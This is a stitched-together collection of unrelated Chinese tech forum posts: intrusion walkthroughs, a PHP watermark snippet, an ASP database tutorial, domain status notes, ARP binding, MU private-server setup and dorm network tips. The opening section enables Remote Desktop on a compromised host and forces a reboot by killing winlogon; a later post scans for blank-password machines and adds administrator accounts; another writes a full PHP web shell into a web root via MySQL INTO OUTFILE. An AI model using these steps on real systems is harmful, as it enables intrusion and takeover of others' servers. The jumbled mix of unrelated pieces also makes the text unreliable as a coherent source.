今天介绍的这种开终端的方法,绿色,环保,无污染~~
不须上传任何文件开启终端的方法适合win2k,xp,2003.
本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~
在无须传任何文件的情况下开启终端服务。
一、win 2k下终端开启终端
首先用ECHO写一个3389.reg文件,然后导入到注册表,echo代码如下:
echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS\.DEFAULT\Keyboard"Layout\Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。
一个简单的办法就是用ntsd.exe(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启了!!
比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好~)
winlogon.exe被关闭后机器立刻强制重启了
命令执行格式为ntsd -c q -p PID
那如何知道winlogon.exe的PID进程号呢~
以下这个脚本可以列举当前所有进程的PID:
wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
wscript.echo ps.handle&vbtab&ps.name
next
在CMDSHELL窗口下贴上如下ECHO代码就可以得到查看进程PID的脚本1.vbe:
echo wscript.echo "PID ProcessName">>1.vbe
echo for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ >>1.vbe
echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe
echo next>>1.vbe
生成1.vbe后请检查一下echo出来的脚本是否有错(才四行,对一下上面给出的就可以了)。
运行1.vbe得到如下运行结果:
C:\WINNT\system32>cscript 1.vbe
cscript 1.vbe
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.
PID ProcessName
0 System Idle Process
8 System
152 smss.exe
180 csrss.exe
200 winlogon.exe
228 services.exe
240 lsass.exe
424 svchost.exe
472 spoolsv.exe
512 msdtc.exe
616 svchost.exe
628 KAVSvc.EXE
660 llssrv.exe
692 nvsvc32.exe
728 regsvc.exe
748 MSTask.exe
776 alter.exe
900 svchost.exe
916 WinMgmt.exe
1088 Dfssvc.exe
484 Explorer.EXE
1444 mdm.exe
1340 Server.exe
1224 ibguard.exe
1252 KAVSvcUI.EXE
1256 ibserver.exe
1336 internat.exe
1204 Uspds.exe
720 bar.exe
1288 dllhost.exe
1580 inetinfo.exe
1672 cmd.exe
1464 pppoe.exe
1704 regedit.exe
316 cscript.exe
从上面可以看出当前winlogon.exe的PID号为200运行命令ntsd -c q -p 200 (这里的200要替换为winlogon.exe进程对就的PID啦)过会儿机器马
上重启了(ntsd.exe是WIN自带的可用来结束任意级别进程)等着收获吧~~
二、winxp和win2003终端开启
开启的REG文件代码如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000D3D
用以下ECHO代码写一个REG文件:
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
这样xp和2003开启终端是不用重启的如果你想改端口只需把上面的两个PortNumber对应的D3D改成相应十进制数的十六进制形式就可以了!用计算器转换吧。XP下不论开终端还是改终端端口都不需重启,真是太妙了~~呵呵。如果要关闭终闭只需把"fDenyTSConnections"=dword:00000000
改成"fDenyTSConnections"=dword:00000001
$wFile="a.jpg";//取得文件路径
$waterimg="hq.gif";//水印图片路径
if(in_array($wFile['type'], $uptypes))
{//检查文件类型,若上传的文件为jpg或gif图片则加水印
if(strstr($wFile['type'],"jp")){ //若上传图片类型为jpg,pjpeg,jpeg,则用imagecreatefromjpeg读取目标文件
$im = imageCreatefromjpeg($wFile);
$wfilew=imagesx($im);//取得图片的宽
$wfileh=imagesy($im);//取得图片的高
}else{//否则若上传图片类型为gif,则用imagecreatefromgif读取目标文件
$im = imageCreatefromgif($wFile);
$wfilew=imagesx($im);//取得图片的宽
$wfileh=imagesy($im);//取得图片的高
}
//设定混合模式
imagealphablending($im, true);
//读取水印文件
$im2 = imagecreatefromgif($waterimg);//若水印图片为jpg,则此去可改为$im2 = imagecreatefromjpeg($waterimg)
$waterw=imagesx($im2);//取得水印图片的宽
$waterh=imagesy($im2);//取得水印图片的高
//随机放水印到图片中
$randval = rand(0,9);//在0-9之间产生随机数
if($randval==0||$randval==3||$randval==2||$randval==8||$randval==7){//此处还可完善放更多位置
$wimgx=5;$wimgy=5;//放左上角
}else{
$wimgx=$wfilew-5-$waterw;$wimgy=$wfileh-5-$waterh;//放右上角
}
//拷贝水印到目标文件
imagecopy($im, $im2, $wimgx, $wimgy, 0, 0, $waterw,$waterh);
//输出图片
if(strstr($wFile['type'],"jp")){ //同上
imagejpeg($im,$wFile);
}else{
imagegif($im,$wFile);
}
imagedestroy($im);
imagedestroy($im2);
}
适合在网吧快速安装,调试程序。。
语句
……
%>
<2>定义变量dim语句
<%
dim a,b
a=10
b=”ok!”
%>
注意:定义的变量可以是数值型,也可以是字符或者其他类型的
<3>简单的控制流程语句
1. If 条件1 then
语句1
elseif 条件2 then
语句2
else
语句3
endif
2.while 条件
语句
wend
3.for count=1 to n step m
语句1
exit for
语句2
next
二.ASP数据库简单*作教程
<1>.数据库连接(用来单独编制连接文件conn.asp)
<%
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath
("\bbs\db1\user.mdb")
%>
(用来连接bbs\db1\目录下的user.mdb数据库)
<2>显示数据库记录
原理:将数据库中的记录一一显示到客户端浏览器,依次读出数据库中的每一条记录
如果是从头到尾:用循环并判断指针是否到末 使用: not rs.eof
如果是从尾到头:用循环并判断指针是否到开始 使用:not rs.bof
<!--#include file=conn.asp--> (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据
库)
<%
set rs=server.CreateObject("adodb.recordset") (建立recordset对象)
sqlstr="select * from message" ---->(message为数据库中的一个数据表,即你要显示的
数据所存放的数据表)
rs.open sqlstr,conn,1,3 ---->(表示打开数据库的方式)
rs.movefirst ---->(将指针移到第一条记录)
while not rs.eof ---->(判断指针是否到末尾)
response.write(rs("name")) ---->(显示数据表message中的name字段)
rs.movenext ---->(将指针移动到下一条记录)
wend ---->(循环结束)
------------------------------------------------------
rs.close
conn.close 这几句是用来关闭数据库
set rs=nothing
set conn=nothing
-------------------------------------------------------
%>
其中response对象是服务器向客户端浏览器发送的信息
<3>增加数据库记录
增加数据库记录用到rs.addnew,rs.update两个函数
<!--#include file=conn.asp--> (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据
库)
<%
set rs=server.CreateObject("adodb.recordset") (建立recordset对象)
sqlstr="select * from message" ---->(message为数据库中的一个数据表,即你要显示的
数据所存放的数据表)
rs.open sqlstr,conn,1,3 ---->(表示打开数据库的方式)
rs.addnew 新增加一条记录
rs("name")="xx" 将xx的值传给name字段
rs.update 刷新数据库
------------------------------------------------------
rs.close
conn.close 这几句是用来关闭数据库
set rs=nothing
set conn=nothing
-------------------------------------------------------
%>
<4>删除一条记录
删除数据库记录主要用到rs.delete,rs.update
<!--#include file=conn.asp--> (包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库)
<%
dim name
name="xx"
set rs=server.CreateObject("adodb.recordset") (建立recordset对象)
sqlstr="select * from message" ---->(message为数据库中的一个数据表,即你要显示的
数据所存放的数据表)
rs.open sqlstr,conn,1,3 ---->(表示打开数据库的方式)
-------------------------------------------------------
while not rs.eof
if rs.("name")=name then
rs.delete
rs.update 查询数据表中的name字段的值是否等于变量name的值"xx",如果符
合就执行删除,
else 否则继续查询,直到指针到末尾为止
rs.movenext
emd if
wend
------------------------------------------------------
------------------------------------------------------
rs.close
conn.close 这几句是用来关闭数据库
set rs=nothing
set conn=nothing
-------------------------------------------------------
%>
<5>关于数据库的查询
(a) 查询字段为字符型
<%
dim user,pass,qq,mail,message
user=request.Form("user")
pass=request.Form("pass")
qq=request.Form("qq")
mail=request.Form("mail")
message=request.Form("message")
if trim(user)&"x"="x" or trim(pass)&"x"="x" then (检测user值和pass值是否为空,可以
检测到空格)
response.write("注册信息不能为空")
else
set rs=server.CreateObject("adodb.recordset")
sqlstr="select * from user where user='"&user&"'" (查询user数据表中的user字段其中
user字段为字符型)
rs.open sqlstr,conn,1,3
if rs.eof then
rs.addnew
rs("user")=user
rs("pass")=pass
rs("qq")=qq
rs("mail")=mail
rs("message")=message
rs.update
rs.close
conn.close
set rs=nothing
set conn=nothing
response.write("注册成功")
end if
rs.close
conn.close
set rs=nothing
set conn=nothing
response.write("注册重名")
%>
(b)查询字段为数字型
<%
dim num
num=request.Form("num")
set rs=server.CreateObject("adodb.recordset")
sqlstr="select * from message where id="&num (查询message数据表中id字段的值是否与
num相等,其中id为数字型)
rs.open sqlstr,conn,1,3
if not rs.eof then
rs.delete
rs.update
rs.close
conn.close
set rs=nothing
set conn=nothing
response.write("删除成功")
end if
rs.close
conn.close
set rs=nothing
set conn=nothing
response.write("删除失败")
%>
<6>几个简单的asp对象的讲解
response对象:服务器端向客户端发送的信息对象,包括直接发送信息给浏览器,重新定向URL,
或设置cookie值
request对象:客户端向服务器提出的请求
session对象:作为一个全局变量,在整个站点都生效
server对象:提供对服务器上方法和属性的访问
(a) response对象的一般使用方法
比如:
<%
resposne.write("hello, welcome to asp!")
%>
在客户端浏览器就会看到 hello, welcome to asp! 这一段文字
<%
response.Redirect("www.sohu.com")
%>
如果执行这一段,则浏览器就会自动连接到 “搜狐” 的网址
关于response对象的用法还有很多,大家可以研究研究
request对象的一般使用方法
比如客户端向服务器提出的请求就是通过request对象来传递的
列如 :你在申请邮箱的所填写的个人信息就是通过该对象来将
你所填写的信息传递给服务器的
比如:这是一段表单的代码,这是提供给客户填写信息的,填写完了按
“提交”传递给request.asp文件处理后再存入服务器数据库
<form name="form1" method="post" action="request.asp">
<p>
<input type="text" name="user">
</p>
<p>
<input type="text" name="pass">
</p>
<p>
<input type="submit" name="Submit" value="提交">
</p>
</form>
那么request.asp该如何将其中的信息读入,在写入数据库,在这里就要用到
request对象了,下面我们就来分析request.asp的写法
<%
dim name,password (定义user和password两个变量)
name=request.form(“user”) (将表单中的user信息传给变量name)
password=request.form(“pass”) (将表单中的pass信息传给变量password)
%>
通过以上的几句代码我们就将表单中的数据读进来了,接下来我们要做的就是将
信息写入数据库了,写入数据库的方法上面都介绍了,这里就不一一复述了。
(通过上面的学习大家完全可以自己做一个留言版了)
1:比如域名aaa.com到期时间为2003年03月01日;
2:从2003年03月02日开始,域名的ns将会被系统自动删除,域名无法解析,但我公司会继续保留该域名30天,用户可以在这30天的期限内续费;
3:如果在2所述的30天期限内没有续费,即从2003年03月31日开始,域名将变成RedemptionPeriod状态,该状态将会保持30天,在此期间该域名不会掉下来,但是除了restore命令以外的所有命令对此域名无效;
4:域名在RedemptionPeriod状态下可以restore回来,但每restore一次需要支付(折合)人民币1000元(含一年续费);
5:如果域名在RedemptionPeriod状态下的30天没有restore,从2003.04.29开始域名变成PendingDelete状态(5天),2003年04月04日该域名将会删除。
VeriSign于2003年1月在其Registry Whois (.COM和.NET)中加了3个字段:
Status、Creation Date、Expiration Date
其中 Status 目前发现有8种状态,分别是:
1、ACTIVE:活动状态。由Registry设置;该域名可以由Registrar更改;可以续费;至少被指派一个DNS。
2、REGISTRY-LOCK:注册局锁定。由注册局设置;该域名不可以由注册商更改、删除;必须由注册局解除此状态才可以由注册商更改域名信息;域名可以续费;如果域名被指派至少一个DNS则可以包含在(域名根服务器)的区域中(可以正常使用)。
3、REGISTRY-HOLD:注册局保留。由注册局设置;该域名不可以由注册商更改、删除;必须由注册局解除此状态才可以由注册商更改域名信息;域名可以续费;该域名不包括在(域名根服务器)的区域中(不能正常使用)。
4、REGISTRAR-LOCK:注册商锁定。由该域名的原始注册商设置;该域名不可以被更改或删除;必须由注册商解除此状态才可以更改域名信息;该域名可以续费。该域名包含在(域名根服务器)的区域中(可以正常使用)。
5、REGISTRAR-HOLD:注册商保留。由该域名的原始注册商设置;该域名不可以被更改或删除;必须由注册商解除此状态才可以更改域名信息;该域名可以续费。该域名不包括在(域名根服务器)的区域中(不能正常使用)。
6、REDEMPTIONPERIOD:宽限期。当注册商向注册局提出删除域名请求后,由注册局将域名设置称此状态,不过,条件是该域名已经注册了5天以上(如果该域名注册时间不足5天,则立即删除);该域名不包括在(域名根服务器)的区域中(不能正常使用);该域名不可以被更改或清除,只可以被恢复;任何其他注册商提出对此域名的更改或其他请求都将被拒绝;该状态最多保持30天。
7、PENDINGRESTORE:恢复未决。当注册商提出将处于REDEMPTIONPERIOD的域名恢复请求后,由注册局设置;该域名包含在(域名根服务器)的区域中(可以正常使用);注册商提出的更改或任何其他请求都将被拒绝;在7天之内,有注册商向注册局提供必需的恢复文件,如果注册商在7天之内提供了这些文件,该域名将被置为ACTIVE状态,否则,该域名将重新返回到REDEMPTIONPERIOD状态。
8、PENDINGDELETE:删除未决。如果一个域名在被设置成REDEMPTIONPERIOD状态期间内,注册商没有提出恢复请求,那么,域名将被置于PENDINGDELETE状态,注册商对此域名的任何请求都将被拒绝;5天之后清除。
何为MAC地址
网卡在使用中有两类地址,一类是大家都熟悉的IP地址,另一类就是MAC地址,即网卡的物理地址,也称硬件地址或链路地址,这是网卡自身的惟一标识,就仿佛是我们的身份证一样,一般不能随意改变。它与网络无关,无论把这个网卡接入到网络的什么地方,MAC地址都是不变的。其长度为48位二进制数,由12个00 ~0FFH的16进制数组成,每个16进制数之间用“-”隔开,如“00-10-5C-AD-72-E3”。
如何查找MAC地址
1、在Windows 9x/2000/XP下单击“开始/程序”,找到“MS-DOS方式”或“命令提示符”。
2、在命令提示符下输入:“Ipconfig/all”,回车后出现如附图所示的对话框,其中的“Physical Address”即是所查的MAC地址。
如何捆绑MAC地址和IP地址
进入“MS-DOS方式”或“命令提示符”,在命令提示符下输入命令:ARP - s 10.88.56.72 00-10-5C-AD-72-E3,即可把MAC地址和IP地址捆绑在一起。
这样,就不会出现IP地址被盗用而不能正常使用校园网络的情况(当然也就不会出现错误提示对话框),可以有效保证校园网络的安全和用户的应用。
注意:ARP命令仅对局域网的上网代理服务器有用,而且是针对静态IP地址,如果采用Modem拨号上网或是动态IP地址就不起作用。ARP命令的各参数的功能如下:
ARP -s -d -a
-s:将相应的IP地址与物理地址的捆绑,如本文中的例子。
-d:删除相应的IP地址与物理地址的捆绑。
-a:通过查询ARP协议表显示IP地址和对应物理地址情况。
教你们个快速获得肉鸡的办法(针对菜鸟)
工具:WinntAutoAttack (使用很简单,如果连这个都琢磨不透我劝你还是别学了。)
SQL综合利用工具 (SQLTools)
用WinntAutoAttack扫描有漏洞的机器,打开前先关了你的杀毒软件和防火墙,还有如果是winxp pack2 换系统吧! 输入扫描ip开始和结束,选上3389 、 sql 、 空密码 三个选项,其他不选。
扫描出有3389和空密码的机器可是用远程桌面直接连接,有sql秘密为空的用SQL综合利用工具连接上用dos命令输入net user 帐户 密码 /add 这样就建立帐户 net localgroup Administrators 帐户 /add 这样就加如管理员组。下面就可以用你建的帐户用远程桌面登录如果对方是winxp的话你还是放弃吧!winxp只允许一个用户登录。你登录对方就会注销。
首先通常情况下,一般mysql和php配合使用,大多数NT和win2000的机器上如果使用php一般都会使用mysql。而默认情况下windows上的mysql是允许远程连接的。而装在linux等上的mysql是不允许远程连接的。入侵的思路是写一个shell脚本到web目录。就可以通过这个shell教本来执行命令了。而一般情况下,windows的web服务器是IIS,默认也是支持asp脚本的。网上也随处可见asp的sehll脚本,只要将这个asp的脚本传到web目录就好了。但是我觉得那些脚本都比较麻烦。而如果目标机器上面有php的话就可以用php脚本了。在这里我用php脚本来写shell。首先我们要用mysql的客户端连结到该机器,并执行我们的sql语句来在web目录生成php的shell脚本。
C:\mysql\bin>mysql -h xxx.xxx.xxx.xxx -uroot <php.sql
C:\mysql\bin>
下面是php.sql的内容:
use test;
create table tmp(cmd TEXT);
insert into tmp values('<body onload=document.form1.cmd.focus()><?if (isset($cmd)){$cmd=stripslashes($cmd);exec(\"$cmd > temp.dat\");}?><style type=\"text/css\"><!\-\- .form1 {BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height: auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px\-\-></style><p class=\"title2\"> </p><form name=\"form1\" method=\\"post\" action=\"/cmd2.php\"> <input type=\"text\" name=\"cmd\" size=\"50\" class=\"form1\"></form><form name=\"form2\" method=\"post\" action=\"\"> <p> <textarea name=\"text\" cols=\"120\" rows=\"50\" class=\"form1\"><?if(isset($cmd)){readfile(\"temp.dat\");unlink(\"temp.dat\");}?></textarea> </p></form></body>');
select * from tmp into outfile 'd:\\new\\cmd2.php';
drop table tmp;
上面的sql语句是创建一个名字为tmp的table,将脚本输入到数据库,然后再将这个脚本保存成d:\new\cmd2.php。然后删除tmp这个我们创建的table。这里的d:\new的目录是该机器的web目录。然后我们就可以在浏览器中输入http://xxx.xxx.xxx.xxx/cmd2.php,就可以利用这个shell执行命令了。至此我们已经获得了该网站的一个guest权限的shell了。我们可以通过这个shell脚本写个ftp脚本来上传文件,也可以利用这个shell来进行其他guest权限能够执行的一些东东了。这里需要注意的是如果cmd2.php已经存在了这个sql脚本是不能运行成功的。这个php脚本不能写成功。
关键的问题在于获得数据库的密码并且能够找到web目录。然后一切都不成问题了。
安全建议:设置mysql数据库的密码,并且要有一定的强度。设置好IIS避免泄漏源代码,不要直接在web目录编辑脚本等文件,因为有些编辑器会自动产生一个备份文件,一般为.bak的扩展名,这样恶意攻击者就可能直接打开这个.bak文件从而泄漏源代码,比如global.asa.bak。
建议用2000系统,我的是 赛扬4 2G CPU DDR256M内存...40G硬盘...
那么,现在开始了.
1. 把你下载下来的SF服务器解压安装了吧.
2. 接下来安装SQL2000.太简单了嘛...(只是下载的时候想哭而已)安装时注意有一项关于SA的密码设置.
在这里填上你想用的密码.(一定不要用空密码)
装好后,启动SQL.在数据库那新建数据库MuOnline和Ranking.之后在你SF服务器目录内建一个空的文件夹DB.回到SQL刚才建好的那两个数据库那,还原数据库.
建立ODBC:如果你用的是梦之奇迹的服务器端的话.这里不用做了,因为安装包内已经有了个做好了的ODBC注册表,双击他就OK了,之所以我推荐用梦之奇迹就是这个原因了,省了不少麻烦.
如果你用的是其他版本的也不用愁,下面我教你怎么做:
ODBC全部用NT验证
建立 数据源GAMEDB_INFO_END / MUMNGDB_INFO_START / LOGINDB_INFO_START / ACCOUNTDB_INFO_START / USELOGDB_INFO_START / MuOnline / MuOnlineJoinDB / Event / USELOG / Munonline ExDB
全系统认证导入MuOnline数据库
数据源 DEVILSQURE_RANKING 系统认证导入Ranking数据库
3. 再接下来就是改IP了.查你SF服务器目录里,有一个字符替换器,用它来把你整个SF服务器目录的IP改成你的内网IP.还有把快捷方式的执行文件4和8->属性->把里面的IP也改成你的内网IP.
大公告成了,启动完8个程序,试试你的内网能上了没有?
能上了吧?哈哈!
这里仅仅是内网而已,外网呢?再看下面吧.
一般,如果你的SF服务器的机器是直接连接外网的主机的话,更简单不过了.直接将CS文件夹下的DAT文件的IP改成你外网的IP或域名.SF服务器目录下的DATA文件夹的IpList.DAT也改成外网IP或域名.最后把要启动的那8个程序的快捷方式的第4和第8->属性->把里面的IP换成你的外网IP或域名.再启动完那8个程序.哈哈.大公告成了吧.这时内外网都能进了.
什么?你的SF服务器不是外网主机?晕啊.早说啊,害我浪费那么多笔墨.再看下面:
比如你的情况是[网吧,你想用网吧的分机把SF做出外网]
这个简单...看我的:
首先,确保你内网没有问题,接下来,只要把SF服务器目录下的DATA文件夹的IpList.DAT也改成外网IP或域名.第4和第8不用改,还是你的内网IP.
接下来要做的是,上网去下载一个端口映射器portmap1.6,你要用别的也行.不过我觉得portmap1.6比较傻瓜点,虽然网上很多人对他的评价不是很好.但是.(重点来了)好不好不关我的事..我只负责教你会做外网,哈...下载portmap1.6后,启动他来做端口映射.(什么?你不会?)晕.我都说portmap1.6很傻瓜的了,没想到你比他还傻瓜.
在外网主机上启动.
->增加->名称随便->输入IP(外网主机IP)->端口44405->输出IP(内网SF主机IP)->端口44405
->增加->名称随便->输入IP(外网主机IP)->端口55901->输出IP(内网SF主机IP)->端口55901
->增加->名称随便->输入IP(外网主机IP)->端口80->输出IP(内网SF主机IP)->端口80 (网站的端口)
增加以上三个. 同时连接数最大数目,你爱选多少就多少.
OK了,可以上了吧?
什么?还没能上?晕.你唬我啊?怎么可能?
如果还没能上,再看下面吧.
做到以上那一步已经是成功的了,如果那样子还没能上的话,我想,大概是你机器装有防火墙软件之类的吧?
有些网吧是用sygate来带的.SYGATE代理服务器软件4.0以上版本都集成了防火墙,而且安装后就是自动打开的.所以会导致你外网不能连接你的游戏服务器.包括你的网站.一进入就连接中断.具体做法.你可以把sygate换成sygate office4.0版本.这个版本可以关闭防火墙.仅仅关掉了还不行,还得要修改CS,把CS下的serverlist.dat,connectserverlist.dat里的55901为82,启动快捷方式8的启动参数最后的55901也改为82.再用映射器映射SF主机.OK....(改了端口后客户端也要把44405改81)
还有一个方法,干脆就不用sygate.哈哈.
最后给所有想建私服但老是外网失败的朋友一句话:如果按以上的方法外网还连不进来的话,想想你的外网主机,是不是设了防火墙之类的软件没有?也许外网连不进是被防火墙挡截了.凡事多想想,多摸索.碰到问题想都不想就拿去问别人,那样永远是没有进步的.
我弄这个外网弄了我差不多两个月,没一晚能睡好的.因为开始疏忽了SYGATE有防火墙的问题.所以导致服务器始终不能上外网.希望这篇帖子对大家有帮助
_____________________________________________________________
adsl主机+花生壳+内网机架一服2线的详细得不能再详细的方法!
设有2台电脑,a机双网卡,第1个网卡通过adsl连接外网,ip设自动,另个网卡ip设192.168.0.1,连接内网,用花生壳做动态域名,装好sql+muserver服务器端。b机就简单的装个win2000专业版或winxp均可,单网卡,ip设为192.168.0.2
首先要保证你的a机能单独运行服务器没问题,a机和b机已经连上(互ping一下对方的ip地址要能通)
来看a机的设置:(我的动态域名是wdfmu.vicp.net,请大家换成自己的就可以了)
d:\muserver\cs\data\serverlist.dat
0 "mu1-1" "wdfmu.vicp.net" 55901 "show"
1 "mu1-2" "wdfmu.vicp.net" 55902 "show"
d:\muserver\data\serverinfo.dat
[gameserverinfo]
servername = mu
servercode = 0
connectmemberload = 0;
d:\muserver\data\iplist.dat
"127.0.0.1"
数据源和sql都没有什么特殊要求。
重点在b机(不需要装sql server),看好了:
首先要把b机的nt登录名和密码设置的和a机一样(不然以后数据源设置可能有问题),然后设置数据源,建立名为muonline,muonlinejoindb,event,uselog,devilsqure_ranking的5个数据源,服务器那里填192.168.0.1,前4个数据源用nt验证,最后面1个用sql身份验证,用户名和密码用d:\muserver\rankingserver\svconfig.ini文件里的就可以了,如果没问题的话,就开始设置mu服务器了。
b机的mu服务器只需要运行dataserver,joinserver,mu2003eventserver,rankingserver和gameserver这5个就行了,改动的地方有:
d:\muserver\data\serverinfo.dat
[gameserverinfo]
servername = mu
servercode = 1
connectmemberload = 0;
;注意文件里第3行的数字是1
d:\muserver\data\iplist.dat
"wdfmu.vicp.net"
还要改启动joinserver的批处理文件为:
d:
cd \muserver\joinserver
@start joinserver.exe /p55970 /cawdfmu.vicp.net /cp55557
还要改启动gameserver的批处理文件为:
d:
cd \muserver\gameserver
@start d:\muserver\gameserver\gameserver.exe wdfmu.vicp.net 55970 wdfmu.vicp.net 55960 55902
;注意最后面的是55902
依次启动dataserver,joinserver,mu2003eventserver,rankingserver和gameserver!
最后1步,在a机用portmap端口映射软件,填加新的映射组,设置为:输入ip为任意,输出ip为192.168.0.2,输入端口为55902,输出端口为55902,启动映射,绿灯亮了,ok,大功告成!看看a机的cs里面是不是有2个服务器了。:)
这个是我看了以前一些类似的帖子,但都没有说的很详细,所以自己又摸索了n久才弄出来的,可能我比较愚钝,写的方法多了很多不必要的步骤,太繁琐!但是我这样做确实成功了,还没成功的玩家看了以后如果成功了,我的目的就达到了,希望高手不要笑话我。
一般来说,一个宿舍有足够的校园网IP地址,不过网络接口则只有一个,我们主要通过一个五口的交换机组成一个内部的局域网,交换机的UPLINK口接到校园网接口上。
我们在安装ADSL后自然就打破这原有的局域网结构了,最初打算通过一台机器直接作为服务器进行ADSL代理上网。但最终发现作为服务器的那台机器可以同时上校网和ADSL,但其他机器则只能连上一个网段,要么IP地址设成校园网网段,要么就是设成连接到ADSL的网段。
从这方面看来宿舍内部校园网与ADSL双网合一主要就是IP地址转换的问题了。想上校网,各台机器连交换机的网卡IP地址都要设成校园网的IP地址;想上ADSL,那么就把连交换机的网卡IP地址设成内部局域网的地址。
本来以为WINXP里不同用户登录同一块网卡可以设成不同的IP地址,但实践的结果是行不通。所以直接就想到一个笨方法,我们的机器本来就是WIN98和WINXP共存的,这样可以在WIN98下把网卡设成是校园网的IP地址,在WINXP下面则把网卡设成是ADSL的内部局域网的地址。不过,实际用起来太麻烦了。每当需要更换网络连接方式的时候,都要重启一下切换操作系统,实在是有点烦。
最终,在网络上找到了转换IP地址的工具,一是国产的免费东东“IP change轻松换”,另一个是共享软件“IP changer2.0”。相比而言,笔者主要推荐前者,主要原因当然是后者仅有一个月的试用器。当然“IP change”轻松换常驻系统托盘,对资源还是有那么一点点的占用的。
后来,笔者在一个偶然的机会,发现了WINXP中的netsh命令,该命令具有IP地址转换而无需重启计算机的功能,首先设定校园网的网络配置,然后在命令行方式下运行“netsh –c interface dump>e:\xw.txt”,就会在E盘根目录下生成一个xw.txt的文本文件,该文件保存着校网网卡的TCP/IP配置。同理,设定好ADSL局域网网络配置后,在命令行方式下运行“netsh –c interface dump>e:\adsl.txt”,也就保存好了ADSL的网络配置。以后要进入校网的网络配置,只要直接在命令行方式下运行“netsh –f e:\xw.txt”命令即可,而进行ADSL网络配置也只要运行“netsh –f e:\adsl.txt”命令就可以了。相当方便。
在实际使用中我们还发现虽然服务器可以直接同时连接校园网和ADSL,但可能是由于DNS解析的原因,同时挂双网的情况下其中一个网络的运行速度较慢。因此作ADSL代理的服务器也同样只上校园或者上ADSL。
小提示:如果用记事本制作一个批处理文件,命名为xw.bat,内容为:netsh -f c:\xw.txt;制作另一个批处理文件adsl.bat,输入内容:netsh -f c:\adsl.txt。将刚才上边导出的文本文件放到c盘根目录下,将这两个批处理文件放到桌面上,以后只要双击相应的批处理文件,有关的网络配置就会修改。只要掌握了上面的方法,就再也不用为切换IP地址而烦恼了!
这样根据以上的内容,我们就可以延伸出ADSL和校园网双网合一的三种不同网络架构:
1.服务器和客户机模式:
主要的优点是节省成本,客户机只要一块网卡;而缺点也是显而易见的,那就是必须有一台机器作服务器。这也是我们所采用的方法,但架设成本低,只要在连接ADSL的机器上加一块网卡即可,结构简单。有点麻烦的是需要利用netsh命令转换IP配置。
2.双网卡模式:
优点是每一台机器各自连接ADSL网和校园网,与其他机器无关;缺点是成本相对较高,不仅是每台机器都需要双网卡,而且如果ADSL猫没有路由功能的话需要增加一个路由器。而且如果使用带有路由功能的adsl猫的话还需要再加一台交换机,形成内部的双局域网结构。这种情况使用较为方便,但同一机器同时上校园网和ADSL时可能会受DNS解析的影响而网络速度变慢。
3.双网路由方式:
